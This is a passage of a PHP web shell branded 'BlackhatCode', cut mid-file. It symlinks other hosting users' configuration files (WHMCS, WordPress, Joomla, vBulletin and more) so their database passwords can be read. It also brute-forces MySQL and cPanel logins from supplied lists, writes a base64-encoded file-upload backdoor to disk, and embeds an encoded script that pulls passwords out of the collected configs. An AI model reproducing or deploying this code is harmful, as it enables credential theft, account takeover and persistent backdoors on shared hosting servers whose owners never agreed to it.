@symlink('/home4/'.$user.'/public_html/client/includes/iso4217.php',$user.'-hostbills-client.txt');
@symlink('/home4/'.$user.'/public_html/support/includes/iso4217.php',$user.'-hostbills-support.txt');
@symlink('/home4/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-hostbills-billing.txt');
@symlink('/home4/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-hostbills-billings.txt');
@symlink('/home4/'.$user.'/public_html/host/includes/iso4217.php',$user.'-hostbills-host.txt');
@symlink('/home4/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'-hostbills-hosts.txt');
@symlink('/home4/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-hostbills-hosting.txt');
@symlink('/home4/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'-hostbills-hostings.txt');
@symlink('/home4/'.$user.'/public_html/includes/iso4217.php',$user.'-hostbills.txt');
@symlink('/home4/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-hostbills-hostbills.txt');
@symlink('/home4/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'-hostbills-hostbill.txt');
@symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-cart-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-hosting-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-buy-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/checkout/configuration.php',$user.'-checkout-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-host-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/shop/configuration.php',$user.'-shop-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/shopping/configuration.php',$user.'-shopping-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/sale/configuration.php',$user.'-sale-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-support-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientsupport/configuration.php',$user.'-clientsupport-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home4/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmc-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/supp/configuration.php',$user.'-supp-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/configuration.php',$user.'-sucure-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/whm/configuration.php',$user.'-sucure-whm-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-sucure-whmcs-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/panel/configuration.php',$user.'-panel-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/hosts/configuration.php',$user.'-hosts-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-submitticket-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clients/configuration.php',$user.'-clients-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientes/configuration.php',$user.'-clientes-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/cliente/configuration.php',$user.'-client-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-billing-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/manage/configuration.php',$user.'-whm-manage-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/my/configuration.php',$user.'-whm-my-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/myshop/configuration.php',$user.'-whm-myshop-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/billings/configuration.php',$user.'-billings-WHMCS.txt') ;
@symlink('/home4/'.$user.'/public_html/supports/configuration.php',$user.'-supports-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/auto/configuration.php',$user.'-auto-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/go/configuration.php',$user.'-go-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/'.$user.'/configuration.php',$user.'-USERNAME-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/bill/configuration.php',$user.'-bill-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/payment/configuration.php',$user.'-payment-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/pay/configuration.php',$user.'-pay-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/purchase/configuration.php',$user.'-purchase-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-clientarea-WHMCS.txt');
@symlink('/home4/'.$user.'/public_html/autobuy/configuration.php',$user.'-autobuy-WHMCS.txt');
@symlink('/home5/'.$user.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
@symlink('/home5/'.$user.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
@symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
@symlink('/home5/'.$user.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
@symlink('/home5/'.$user.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
@symlink('/home5/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
@symlink('/home5/'.$user.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
@symlink('/home5/'.$user.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
@symlink('/home5/'.$user.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
@symlink('/home5/'.$user.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
@symlink('/home5/'.$user.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
@symlink('/home5/'.$user.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
@symlink('/home5/'.$user.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
@symlink('/home5/'.$user.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
@symlink('/home5/'.$user.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
@symlink('/home5/'.$user.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
@symlink('/home5/'.$user.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
@symlink('/home5/'.$user.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
@symlink('/home5/'.$user.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
@symlink('/home5/'.$user.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
@symlink('/home5/'.$user.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
@symlink('/home5/'.$user.'/public_html/admin/config.php',$pdomain.'~~4.txt');
@symlink('/home5/'.$user.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
@symlink('/home5/'.$user.'/public_html/include/db.php',$pdomain.'~~7.txt');
@symlink('/home5/'.$user.'/public_html/connect.php',$pdomain.'~~8.txt');
@symlink('/home5/'.$user.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
@symlink('/home5/'.$user.'/public_html/include/config.php',$pdomain.'~~12.txt');
@symlink('/home5/'.$user.'/public_html/settings.php',$pdomain.'~~Smf.txt');
@symlink('/home5/'.$user.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
@symlink('/home5/'.$user.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
@symlink('/home6/'.$user.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
@symlink('/home6/'.$user.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
@symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
@symlink('/home6/'.$user.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
@symlink('/home6/'.$user.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
@symlink('/home6/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
@symlink('/home6/'.$user.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
@symlink('/home6/'.$user.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
@symlink('/home6/'.$user.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
@symlink('/home6/'.$user.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
@symlink('/home6/'.$user.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
@symlink('/home6/'.$user.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
@symlink('/home6/'.$user.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
@symlink('/home6/'.$user.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
@symlink('/home6/'.$user.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
@symlink('/home6/'.$user.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
@symlink('/home6/'.$user.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
@symlink('/home6/'.$user.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
@symlink('/home6/'.$user.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
@symlink('/home6/'.$user.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
@symlink('/home6/'.$user.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
@symlink('/home6/'.$user.'/public_html/admin/config.php',$pdomain.'~~4.txt');
@symlink('/home6/'.$user.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
@symlink('/home6/'.$user.'/public_html/include/db.php',$pdomain.'~~7.txt');
@symlink('/home6/'.$user.'/public_html/connect.php',$pdomain.'~~8.txt');
@symlink('/home6/'.$user.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
@symlink('/home6/'.$user.'/public_html/include/config.php',$pdomain.'~~12.txt');
@symlink('/home6/'.$user.'/public_html/settings.php',$pdomain.'~~Smf.txt');
@symlink('/home6/'.$user.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
@symlink('/home6/'.$user.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
@symlink('/home7/'.$user.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
@symlink('/home7/'.$user.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
@symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
@symlink('/home7/'.$user.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
@symlink('/home7/'.$user.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
@symlink('/home7/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
@symlink('/home7/'.$user.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
@symlink('/home7/'.$user.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
@symlink('/home7/'.$user.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
@symlink('/home7/'.$user.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
@symlink('/home7/'.$user.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
@symlink('/home7/'.$user.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
@symlink('/home7/'.$user.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
@symlink('/home7/'.$user.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
@symlink('/home7/'.$user.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
@symlink('/home7/'.$user.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
@symlink('/home7/'.$user.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
@symlink('/home7/'.$user.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
@symlink('/home7/'.$user.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
@symlink('/home7/'.$user.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
@symlink('/home7/'.$user.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
@symlink('/home7/'.$user.'/public_html/admin/config.php',$pdomain.'~~4.txt');
@symlink('/home7/'.$user.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
@symlink('/home7/'.$user.'/public_html/include/db.php',$pdomain.'~~7.txt');
@symlink('/home7/'.$user.'/public_html/connect.php',$pdomain.'~~8.txt');
@symlink('/home7/'.$user.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
@symlink('/home7/'.$user.'/public_html/include/config.php',$pdomain.'~~12.txt');
@symlink('/home7/'.$user.'/public_html/settings.php',$pdomain.'~~Smf.txt');
@symlink('/home7/'.$user.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
@symlink('/home7/'.$user.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
@symlink('/home8/'.$user.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
@symlink('/home8/'.$user.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
@symlink('/home8/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
@symlink('/home8/'.$user.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
@symlink('/home8/'.$user.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
@symlink('/home8/'.$user.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
@symlink('/home8/'.$user.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
@symlink('/home8/'.$user.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
@symlink('/home8/'.$user.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
@symlink('/home8/'.$user.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
@symlink('/home8/'.$user.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
@symlink('/home8/'.$user.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
@symlink('/home8/'.$user.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
@symlink('/home8/'.$user.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
@symlink('/home8/'.$user.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
@symlink('/home8/'.$user.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
@symlink('/home8/'.$user.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
@symlink('/home8/'.$user.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
@symlink('/home8/'.$user.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
@symlink('/home8/'.$user.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
@symlink('/home8/'.$user.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
@symlink('/home8/'.$user.'/public_html/admin/config.php',$pdomain.'~~4.txt');
@symlink('/home8/'.$user.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
@symlink('/home8/'.$user.'/public_html/include/db.php',$pdomain.'~~7.txt');
@symlink('/home8/'.$user.'/public_html/connect.php',$pdomain.'~~8.txt');
@symlink('/home8/'.$user.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
@symlink('/home8/'.$user.'/public_html/include/config.php',$pdomain.'~~12.txt');
@symlink('/home8/'.$user.'/public_html/settings.php',$pdomain.'~~Smf.txt');
@symlink('/home8/'.$user.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
@symlink('/home8/'.$user.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
echo "<center>Done With Success --> <a href='blackhatcode_grab'>Open Here</a><br><br><br>";
}
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'cpanel')) {
?>
<Form action="?y=<?php echo $pwd; ?>&x=cpanel" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
echo '<head>
<style type="text/css">
<!--
body {
background-color: transparant;
font-size: 13px;
color: black;
}
.style1 {
text-align: center;
}
.style2 {
color: #FFFFFF;
font-weight: bold;
}
.style3 {
color: #FFFFFF;
}
-->
</style>
';
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "Finding cPanel~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=white>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<BR><hr><b>You Found <font color=white>$ok</font> Cpanel by BlackhatCode</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
Chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHBy